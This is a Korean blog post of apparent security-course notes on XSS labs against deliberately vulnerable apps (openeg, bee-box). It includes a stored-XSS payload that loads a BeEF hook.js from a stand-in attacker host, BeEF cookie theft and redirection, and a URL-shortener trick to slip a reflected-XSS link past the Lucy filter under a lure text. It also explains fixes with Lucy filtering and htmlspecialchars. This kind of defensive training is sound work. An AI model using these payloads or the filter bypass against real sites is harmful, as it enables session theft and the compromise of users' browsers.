SK shieldus Rookies 16기 (클라우드 보안 기술 #04)

만두다섯개·2023년 12월 19일

SK 루키즈 16기

목록 보기
34/52
post-thumbnail

주요 정보

  • 교육 과정명 : 클라우드기반 스마트융합보안 과정 16기
  • 교육 회차 정보 : '23. 12. 19. 클라우드 보안 기술 #04

학습 참고

https://docs.google.com/document/d/1Y7wtAHji99RyS7h77oyr2W28Z2t7I9Uu_c7N7YPjRls/edit

학습 요약

XSS 취약점과 입력값 검증 파훼(단축된 URL 사용)
1. Stored XSS 와 BeeF 공격 프레임워크(openeg)
- Stored XSS 취약점
- BeeF 공격 프레임워크 기능
- Lucy 필터 사용으로 취약점 보호
- 단축 URL을 이용해 입력값 검증 회피(Lucy 필터 파훼)
2. XSS-Reflected 취약점 해결 실습(과제)(bee-box)
- Reflected XSS 취약점 (소스코드 확인)
- 단축 URL을 이용해 입력값 검증 회피
3. CSP란?

Stored XSS 취약점 실습

1. Stored XSS 취약점

저장 XSS 취약점을 가진 게시판을 BeeF 공격 프레임워크를 이용해서 공격해보자.
Kali 가상머신에서 http://victim:8080/openeg/로 접속해서 게시판에 글쓰기 기능이 존재한다.

2. BeeF 공격 프레임워크 기능

칼리 리눅스 명령 프롬프트 창에서 beef를 설치 후 실행시켜 보자.

sudo apt update 
sudo apt install -y beef-xss
sudo beef-xss

실행 시, beef 웹 프레임워크 콘솔 페이지 주소, hook.js 목적지 주소 확인 가능하다.

hook.js 주소 == beef 프레임워크 설치된 공격자 호스트 IP이다.
즉, 아래와 같은 스크립트를 위와 동일하게 게시물을 생성하고, 다시 해당 게시물로 진입한다.

<script src="http://attacker:3000/hook.js"></script>

게시물에 진입하면, 스크립트가 동작하고, beef 프레임워크에서 victim 새로 발생하고, Current Browser - Details 아래로 스크롤 하면, 해당 프레임워크로 접속한 호스트의 IP가 나온다.

beef 프레임워크 Current Browser - Command 기능을 확인해보자.
1. 쿠키 탈취 : 웹 브라우저가 가진 쿠키 값을 탈취 가능하다.
공격 대상이 웹 서버로부터 Http Only 플래그 설정값을 받는다면 beef에서 쿠키 정보를 가져오지 못할 것이다.


그러나 여기에선 쿠키값을 잘 가져오지 못한다.
파이어폭스 브라우저 개발자 도구에서도 쿠키값이 나오지 않는다. 오류를 살펴보니, 아래와 같았다.

이는 웹사이트 또는 웹 애플리케이션에서 사용되는 쿠키 중 하나인 "DV" 쿠키가 "SameSite" 속성이 올바른 값을 가지지 않았거나 해당 속성이 없다는 경고 메시지

  1. URL 리다이렉션

그 외 사회적 공학 공격 기법(구글 파싱 사이트) 등 여러가지 공격 기능을 beef에서 가지고 있다.

3. lucy xss 필터링 적용

lucy xss 필터를 적용해 게시판기능에서 스크립트 문장을 인코딩 후 출력하도록 수정해 보자.

/openeg/src/main/java/kr/co/openeg/lab/board/controller/BoardController.java


게시물 확인 시, 제목에서 boardView 라는 클래스를 사용한다
위 소스코드에서 해당하는 클래스를 찾아보면 아래와 같다. (좌측)
이를 lucy XSSFilter 라이브러리를 사용해보자.

그러나 게시물은 두 가지 요소가 적용된다. 게시물 작성자, 게시물 내용. 게시물 내용은 lucy를 사용해 XSS로부터 비교적 안적하지만, 게시물 제목은 XSS 취약점에 그대로 노출 될 것이다.

제목입니다<script src="http://attacker:3000/hook.js"></script>


이는 view로써 list.jsp에 정의되어 있다.
/openeg/src/main/webapp/WEB-INF/board/list.jsp 에서 해당 뷰를 확인해 보자.

이제 제목과 내용 모두 스크립트 문을 사용해도 XSS로부터 비교적 안전할 것이다.

루시 필터링 파회방법

=> 스크립트가 포함된 단축 URL 사용해 lucy 필터링 파회해보자.
지금은 스크립트를 작성해도 아래와 같이 lucy 필터로 해당 스크립트가 일반 문자열로만 출력된다. 그러나, href는 동작한다.

피해자는 해당 링크를 보고 수상하다고 여기어 누르지 않을 것이다. 따라서 해당 스크립트 코드가 동작하게끔 하기 위해서 공격 스크립트를 단축 URL에 변경해 보자.

아래 URL을 URL 단축 사이트에서 단축시켜보자.

http://beebox/bWAPP/xss_get.php?firstname=aaa<script>console.log('a')</script>&lastname=bbb<script>console.log('b')</script>&form=submit

https://zrr.kr/goqI 라는 URL로 단축되었다.

이 단축된 URL을 href 태그에 넣고, 게시물로 올려보자.
스크립트 코드가 포함되어 있지 않기 때문에 Lucy 필터에 걸리지 않을 것이다.

<a href="https://zrr.kr/goqI">이것을 꼭 보셔야 합니다.</a>

개발자 도구로 해당 URL을 확인해봐도 단축 전 스크립트를 확인 할 수 없다.

XSS-Reflected 취약점 해결 실습(과제)

Bee-box에서 XSS-Reflected(GET) 취약점이 존재한다.
해당 서비스에 취약점 존재 여부를 확인하고, 취약점을 찾는 방법, 취약점 유형 및 판단 근거, 대응 방안(안전한 코드 예시)에 기술하라.
(소스 코드는 $ sudo gedit /var/www/bWAPP/xss_get.php 명령으로 확인할 수 있음)

First name과 Last name을 입력하고 Go 버튼을 클릭하면 Welcome 메시지가 출력되는 서비스
해당 서비스에 취약점 존재 여부를 확인하고, 취약점을 찾는 방법, 취약점 유형 및 판단 근거, 대응 방안(안전한 코드 예시)에 기술해 보세요.
취약점 존재 여부를 확인
1. 취약점 탐색

아래에서 취약점을 찾는 방법 및 취약점 유형 및 판단 근거를 찾아보았습니다.
2. 소스코드에서 취약점 확인
(소스 코드는 $ sudo gedit /var/www/bWAPP/xss_get.php 명령으로 확인할 수 있음)
웹 페이지 개발자 도구에서 확인 한 input 태그 이름 firstname 검색 시, 아래와 같은 메소드 확인 가능

해당 소스코드의 문제점
사용자 입력 데이터를 검증없이 echo 로 사용자에게 보여준다. 바로 echo하는 것이 아니라 xss 메소드 사용 후 echo 명령어가 실행된다. 이는 아래와 같이 사용자가 지정한 보안 레벨에 따라 해당 입력값을 검증 후 실행하게 된다.

현재는 security_level이 low이기 때문에, no_check 메소드를 수행한 결과를 data 파라미터로 사용하게 된다.
no_check 메소드는 동일 디렉토리 내 functions_external.php 에 정의되어 있다.

no_check 메소드를 확인해보면, data를 그대로 리턴한다. 즉, 아무런 조치도 하지 않는다.

만약 스크립트가 data 내부에 존재한다면, echo메소드로 인해 그대로 클라이언트로 전송이 되고, 이는 웹브라우저가 웹 서버에게 받은 응답을 웹 페이지로 보여주는 과정에서 스크립트가 실행되는 것이다.
대응 방안(안전한 코드 예시) 기술
3. 소스코드에서 아래와 같이 대응 방안을 제시해 보았습니다.
해당 취약점의 원인 : 입력값 검증 없음
취약점 보안 방향 제시 : 입력값 검증한다.

어떻게 입력값을 검증하는가? PHP 기본 메소드 htmlspecialchars 를 ENT_QUOTES, endcoding 옵션으로 스크립트로 실행될 수 있는 HTML 특수문자를 HTML 엔티티로 변경해준다.

수정한 소스코드 XSS 취약점 방어 확인

끝!

profile
磨斧爲針

0개의 댓글